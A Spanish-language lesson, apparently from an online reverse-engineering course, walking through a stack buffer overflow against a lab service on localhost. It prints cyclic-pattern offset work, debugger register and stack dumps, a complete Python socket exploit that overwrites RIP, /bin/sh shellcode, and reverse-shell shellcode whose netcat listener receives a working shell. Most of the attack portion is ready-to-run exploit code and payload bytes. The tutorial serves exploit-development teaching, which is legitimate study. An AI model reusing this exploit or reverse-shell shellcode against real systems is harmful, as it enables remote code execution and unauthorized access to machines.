Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Generamos y lanzamos el patrón:

CÓDIGO / SALIDA
lab@lab-VirtualBox:~/exploit-pattern$ nc localhost 8081
Welcome! Please enter the secret text:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

E inspeccionamos los registros de nuevo:

CÓDIGO / SALIDA
[0x555555554b3d]> dr
rax = 0x35624134
rbx = 0x00000000
rcx = 0x4232684231684230
rdx = 0x00000059
r8 = 0x00000000
r9 = 0x00000000
r10 = 0x00000000
r11 = 0x7ffff7b912c0
r12 = 0x5555555549b0
r13 = 0x7fffffffe0b0
r14 = 0x00000000
r15 = 0x00000000
rsi = 0x5555555552a0
rdi = 0x7fffffffdae0
rsp = 0x7fffffffdb18
rbp = 0x6241376241366241
rip = 0x555555554b3d
rflags = 0x00010286
orax = 0xffffffffffffffff

[0x555555554b3d]> pxw 300 @ rsp 
0x7fffffffdb18  0x39624138 0x41306341 0x63413163 0x33634132  8Ab9Ac0Ac1Ac2Ac3
0x7fffffffdb28  0x41346341 0x63413563 0x37634136 0x41386341  Ac4Ac5Ac6Ac7Ac8A
0x7fffffffdb38  0x64413963 0x31644130 0x41326441 0x64413364  c9Ad0Ad1Ad2Ad3Ad
0x7fffffffdb48  0x35644134 0x41366441 0x64413764 0x39644138  4Ad5Ad6Ad7Ad8Ad9
0x7fffffffdb58  0x41306541 0x65413165 0x33654132 0x41346541  Ae0Ae1Ae2Ae3Ae4A
0x7fffffffdb68  0x65413565 0x37654136 0x41386541 0x66413965  e5Ae6Ae7Ae8Ae9Af
0x7fffffffdb78  0x31664130 0x41326641 0x66413366 0x35664134  0Af1Af2Af3Af4Af5
0x7fffffffdb88  0x41366641 0x66413766 0x39664138 0x41306741  Af6Af7Af8Af9Ag0A
0x7fffffffdb98  0x67413167 0x33674132 0x41346741 0x67413567  g1Ag2Ag3Ag4Ag5Ag
0x7fffffffdba8  0x37674136 0x41386741 0x68413967 0x31684130  6Ag7Ag8Ag9Ah0Ah1
0x7fffffffdbb8  0x41326841 0x68413368 0x35684134 0x41366841  Ah2Ah3Ah4Ah5Ah6A
0x7fffffffdbc8  0x68413768 0x39684138 0x41306941 0x69413169  h7Ah8Ah9Ai0Ai1Ai
0x7fffffffdbd8  0x33694132 0x41346941 0x69413569 0x37694136  2Ai3Ai4Ai5Ai6Ai7
0x7fffffffdbe8  0x41386941 0x6a413969 0x316a4130 0x41326a41  Ai8Ai9Aj0Aj1Aj2A
0x7fffffffdbf8  0x6a41336a 0x356a4134 0x41366a41 0x6a41376a  j3Aj4Aj5Aj6Aj7Aj
0x7fffffffdc08  0x396a4138 0x41306b41 0x6b41316b 0x336b4132  8Aj9Ak0Ak1Ak2Ak3
0x7fffffffdc18  0x41346b41 0x6b41356b 0x376b4136 0x41386b41  Ak4Ak5Ak6Ak7Ak8A
0x7fffffffdc28  0x6c41396b 0x316c4130 0x41326c41 0x6c41336c  k9Al0Al1Al2Al3Al
0x7fffffffdc38  0x356c4134 0x41366c41 0x6c41376c             4Al5Al6Al7Al

Usamos la misma herramienta, copiando y pegando esos valores hexadecimales:

CÓDIGO / SALIDA
lab@lab-VirtualBox:~/exploit-pattern$ python3 pattern.py 0x37674136
Pattern 0x37674136 first occurrence at position 200 in pattern.

lab@lab-VirtualBox:~/exploit-pattern$ python3 pattern.py 0x6241376241366241
Pattern 0x6241376241366241 first occurrence at position 48 in pattern.

Y ahora, como conocemos las posiciones de nuestro payload donde sobrescribimos valores específicos, podemos intentar colocar algunas marcas ahí para asegurarnos de que tenemos control total sobre ellos:

CÓDIGO / SALIDA
from struct import pack
import socket
import sys

rip = 0x7fffffffdba8

payload = b"\x41"*48 + b"\x90"*8 + b"B"*8 + b"\x90"*170 + b"\xCC"*200 +b"\x90"*800 

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('127.0.0.1',8081))
s.send(payload)

s.close()

Lanzamos el script de nuevo, comprobamos los registros y:

CÓDIGO / SALIDA
[0x555555554b3d]> dr
rax = 0x41414141
rbx = 0x00000000
rcx = 0x7ffff7a98650
rdx = 0x00000059
r8 = 0x00000000
r9 = 0x00000000
r10 = 0x00000000
r11 = 0x7ffff7b912c0
r12 = 0x5555555549b0
r13 = 0x7fffffffe0b0
r14 = 0x00000000
r15 = 0x00000000
rsi = 0x5555555552a0
rdi = 0x7fffffffdae0
rsp = 0x7fffffffdb18
rbp = 0x9090909090909090
rip = 0x555555554b3d
rflags = 0x00010286
orax = 0xffffffffffffffff
[0x555555554b3d]> pxw @ rsp
0x7fffffffdb18  0x42424242 0x42424242 0x90909090 0x90909090  BBBBBBBB........
0x7fffffffdb28  0x90909090 0x90909090 0x90909090 0x90909090  ................
0x7fffffffdb38  0x90909090 0x90909090 0x90909090 0x90909090  ................
0x7fffffffdb48  0x90909090 0x90909090 0x90909090 0x90909090  ................
0x7fffffffdb58  0x90909090 0x90909090 0x90909090 0x90909090  ................
0x7fffffffdb68  0x90909090 0x90909090 0x90909090 0x90909090  ................
0x7fffffffdb78  0x90909090 0x90909090 0x90909090 0x90909090  ................
0x7fffffffdb88  0x90909090 0x90909090 0x90909090 0x90909090  ................
0x7fffffffdb98  0x90909090 0x90909090 0x90909090 0x90909090  ................
0x7fffffffdba8  0x90909090 0x90909090 0x90909090 0x90909090  ................
0x7fffffffdbb8  0x90909090 0x90909090 0x90909090 0x90909090  ................
0x7fffffffdbc8  0xcccc9090 0xcccccccc 0xcccccccc 0xcccccccc  ................
0x7fffffffdbd8  0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc  ................
0x7fffffffdbe8  0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc  ................
0x7fffffffdbf8  0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc  ................

Controlamos la pila, RBP y tenemos espacio para nuestro shellcode.

A partir de aquí, tenemos claro que un buen sitio para empezar a colocar shellcode en memoria será la posición 0x7fffffffdba8. ¿Por qué? Porque podemos empezar a escribir ahí; puede ser 2 bytes después o antes, en nuestro caso elegimos esa dirección porque queda un padding limpio de 200 bytes.

Queremos que el registro RIP apunte a 0x7fffffffdba8 tras el crash. ¿Cómo hacerlo? Como tenemos control sobre RBP, sabemos que los 64 bits después del marco de pila contienen el valor de retorno. Cuando la función retorna, el valor de retorno se extrae (pop) a RIP, para que el programa pueda reanudar la ejecución de la función llamante. Sabemos que el valor del «puntero de marco/base guardado» se sobrescribirá pasados los primeros 48 bytes, la «dirección de retorno guardada» va justo después, así que a 48+8 bytes, y entonces sobrescribimos la «dirección de retorno guardada» que irá a RIP, así que escribimos la dirección de nuestro shellcode ahí:

Recuerda también que cuando envías un buffer/bloque que necesita interpretarse como una dirección de memoria, debes comprobar el endianness, Little Endian en este caso. Más sobre endianness

Enviaremos un buffer para el desbordamiento, luego la dirección RIP, después algunos NOPs y \xCC (opcode para breakpoint, para poder pausar el programa y ver si funciona):

CÓDIGO / SALIDA
rip = 0x7fffffffdba8

payload = b"\x41"*48 + b"\x90"*8 + pack("<Q", rip) + b"\x90"*170 + b"\xCC"*200 +b"\x90"*800 

Enviamos eso y:

CÓDIGO / SALIDA
[0x7ffff7dd4090]> dc
Waiting for connections...
Got connection!
[0x7fffffffdc1b]> 

[0x7fffffffdc1b]> pd 10
            ;-- rip:
            0x7fffffffdc1b      cc             int3
            0x7fffffffdc1c      cc             int3
            0x7fffffffdc1d      cc             int3
            0x7fffffffdc1e      cc             int3
            0x7fffffffdc1f      cc             int3
            0x7fffffffdc20      cc             int3
            0x7fffffffdc21      cc             int3
            0x7fffffffdc22      cc             int3
            0x7fffffffdc23      cc             int3
            0x7fffffffdc24      cc             int3
[0x7fffffffdc1b]> 

RIP se sobrescribe y saltamos directamente a nuestro shellcode. Ahora mismo todo son breakpoints, así que no se ejecuta nada, pero ya tenemos control total de la ejecución.

En este punto normalmente querrás ejecutar shellcode, algo útil: ejecutar algún programa, instalar malware, lanzar una reverse shell, etc. Sitios como exploit-db, packetstormsecurity o diversos repositorios de GitHub contienen shellcode que puedes estudiar e integrar. Aquí empezaré usando un shellcode simple de /bin/sh:

ENSAMBLADOR / REFERENCIA
0000000000400080 <_start>:
  400080:   50                      push   %rax
  400081:   48 31 d2                xor    %rdx,%rdx
  400084:   48 31 f6                xor    %rsi,%rsi
  400087:   48 bb 2f 62 69 6e 2f    movabs $0x68732f2f6e69622f,%rbx
  40008e:   2f 73 68 
  400091:   53                      push   %rbx
  400092:   54                      push   %rsp
  400093:   5f                      pop    %rdi
  400094:   b0 3b                   mov    $0x3b,%al
  400096:   0f 05                   syscall

\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05

Podemos básicamente copiar y pegar el hexadecimal, tras entenderlo:

CÓDIGO / SALIDA
[0x7fffffffdc13]> ds
[0x7fffffffdc13]> pd 10
            0x7fffffffdc13      cc             int3
            0x7fffffffdc14      cc             int3
            0x7fffffffdc15      cc             int3
            0x7fffffffdc16      cc             int3
            0x7fffffffdc17      cc             int3
            0x7fffffffdc18      cc             int3
            ;-- rip:
            0x7fffffffdc19      cc             int3
            0x7fffffffdc1a      50             push rax
            0x7fffffffdc1b      4831d2         xor rdx, rdx
            0x7fffffffdc1e      4831f6         xor rsi, rsi
[0x7fffffffdc13]> 

Y vemos cómo las instrucciones int3 van justo antes del shellcode ahora.

Podemos pasar a algo más avanzado, como una reverse shell tomada de aquí.

C / EJEMPLO
0:  6a 29                  push   0x29
   2:  58                     pop    rax
   3:  6a 02                  push   0x2
   5:  5f                     pop    rdi
   6:  6a 01                  push   0x1
   8:  5e                     pop    rsi
   9:  99                     cdq    
   a:  0f 05                  syscall 
   c:  50                     push   rax
   d:  5f                     pop    rdi
   e:  52                     push   rdx
   f:  68 7f 01 01 01         push   0x101017f
  14:  66 68 11 5c            pushw  0x5c11
  18:  66 6a 02               pushw  0x2
  1b:  6a 2a                  push   0x2a
  1d:  58                     pop    rax
  1e:  54                     push   rsp
  1f:  5e                     pop    rsi
  20:  6a 10                  push   0x10
  22:  5a                     pop    rdx
  23:  0f 05                  syscall 
  25:  6a 02                  push   0x2
  27:  5e                     pop    rsi
  28:  6a 21                  push   0x21
  2a:  58                     pop    rax
  2b:  0f 05                  syscall 
  2d:  48 ff ce               dec    rsi
  30:  79 f6                  jns    28 <loop_1>
  32:  6a 01                  push   0x1
  34:  58                     pop    rax
  35:  49 b9 50 61 73 73 77   movabs r9,0x203a647773736150
  3c:  64 3a 20 
  3f:  41 51                  push   r9
  41:  54                     push   rsp
  42:  5e                     pop    rsi
  43:  6a 08                  push   0x8
  45:  5a                     pop    rdx
  46:  0f 05                  syscall 
  48:  48 31 c0               xor    rax,rax
  4b:  48 83 c6 08            add    rsi,0x8
  4f:  0f 05                  syscall 
  51:  48 b8 31 32 33 34 35   movabs rax,0x3837363534333231
  58:  36 37 38 
  5b:  56                     push   rsi
  5c:  5f                     pop    rdi
  5d:  48 af                  scas   rax,QWORD PTR es:[rdi]
  5f:  75 1a                  jne    7b <exit_program>
  61:  6a 3b                  push   0x3b
  63:  58                     pop    rax
  64:  99                     cdq    
  65:  52                     push   rdx
  66:  48 bb 2f 62 69 6e 2f   movabs rbx,0x68732f2f6e69622f
  6d:  2f 73 68 
  70:  53                     push   rbx
  71:  54                     push   rsp
  72:  5f                     pop    rdi
  73:  52                     push   rdx
  74:  54                     push   rsp
  75:  5a                     pop    rdx
  76:  57                     push   rdi
  77:  54                     push   rsp
  78:  5e                     pop    rsi
  79:  0f 05                  syscall 
*/

#include <stdio.h>
#include <string.h>

unsigned char code[]= \
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x50\x5f\x52\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x58\x54\x5e\x6a\x10\x5a\x0f\x05\x6a\x02\x5e\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x6a\x01\x58\x49\xb9\x50\x61\x73\x73\x77\x64\x3a\x20\x41\x51\x54\x5e\x6a\x08\x5a\x0f\x05\x48\x31\xc0\x48\x83\xc6\x08\x0f\x05\x48\xb8\x31\x32\x33\x34\x35\x36\x37\x38\x56\x5f\x48\xaf\x75\x1a\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x52\x54\x5a\x57\x54\x5e\x0f\x05";

void main()
{
  printf("ShellCode Length: %d\n", strlen(code));
  int (*ret)() = (int(*)())code;
  ret();

Y se puede integrar en nuestro exploit inicial así:

CÓDIGO / SALIDA
from struct import pack
import socket
import sys


rip = 0x7fffffffdba8

sc = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
revshell = b"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x50\x5f\x52\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x58\x54\x5e\x6a\x10\x5a\x0f\x0 ...

payload = b"\x41"*48 + b"\x90"*8 + pack("<Q", rip) + b"\x90"*162 + b"\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" + revshell +b"\x90"*800 

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('127.0.0.1',8081))
s.send(payload)

s.close()

Y, como vemos, se ejecuta:

CÓDIGO / SALIDA
[0x7fffffffdc13]> pd 10
            ;-- rip:
            0x7fffffffdc13      cc             int3
            0x7fffffffdc14      cc             int3
            0x7fffffffdc15      cc             int3
            0x7fffffffdc16      cc             int3
            0x7fffffffdc17      cc             int3
            0x7fffffffdc18      cc             int3
            0x7fffffffdc19      cc             int3
            0x7fffffffdc1a      6a29           push 0x29               ; ')' ; section_end..comment
            0x7fffffffdc1c      58             pop rax
            0x7fffffffdc1d      6a02           push 2                  ; 2
[0x7fffffffdc13]> pd 20
            ;-- rip:
            0x7fffffffdc13      cc             int3
            0x7fffffffdc14      cc             int3
            0x7fffffffdc15      cc             int3
            0x7fffffffdc16      cc             int3
            0x7fffffffdc17      cc             int3
            0x7fffffffdc18      cc             int3
            0x7fffffffdc19      cc             int3
            0x7fffffffdc1a      6a29           push 0x29               ; ')' ; section_end..comment
            0x7fffffffdc1c      58             pop rax
            0x7fffffffdc1d      6a02           push 2                  ; 2
            0x7fffffffdc1f      5f             pop rdi
            0x7fffffffdc20      6a01           push 1                  ; 1
            0x7fffffffdc22      5e             pop rsi
            0x7fffffffdc23      99             cdq
            0x7fffffffdc24      0f05           syscall
            0x7fffffffdc26      50             push rax
            0x7fffffffdc27      5f             pop rdi

Concediéndonos acceso completo a una reverse shell.

CÓDIGO / SALIDA
^V^Clab@lab-VirtualBox:~/exploit-pattern$ nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from localhost 49124 received!
Passwd: 12345678
ls
ls -lah
ps
pwd
Downloads
Documents
Desktop

Y terminando este tutorial...

Este ha sido un tutorial muy básico, a modo de calentamiento para lo que viene. Todos empezamos desde el principio en algún momento y esto es necesario para construir cosas avanzadas sobre esta base.

Como reto, te propongo modificar el código C para que el SOCKET FILE DESCRIPTOR sea una variable global y ajustar tu exploit para activar la función EGG.

Si quieres leer más sobre desbordamientos de buffer x64 en Linux, revisa estos recursos:

Buffer Overflow x64 Más sobre desbordamientos de buffer en x64

Comprobación personal

Antes de continuar

Explica con tus palabras la operación estudiada y señala las instrucciones o capturas que la justifican. Distingue los datos observados de los nombres y tipos que has reconstruido.

El progreso se guarda en este navegador. Puedes recorrer las lecciones en cualquier orden.

Código original: AGPLv3. Textos y diagramas originales: CC BY-SA 4.0. Reutilización y alcance ↗.

Lobera

Conceptos de reversing

Consulta una definición y continúa donde estabas.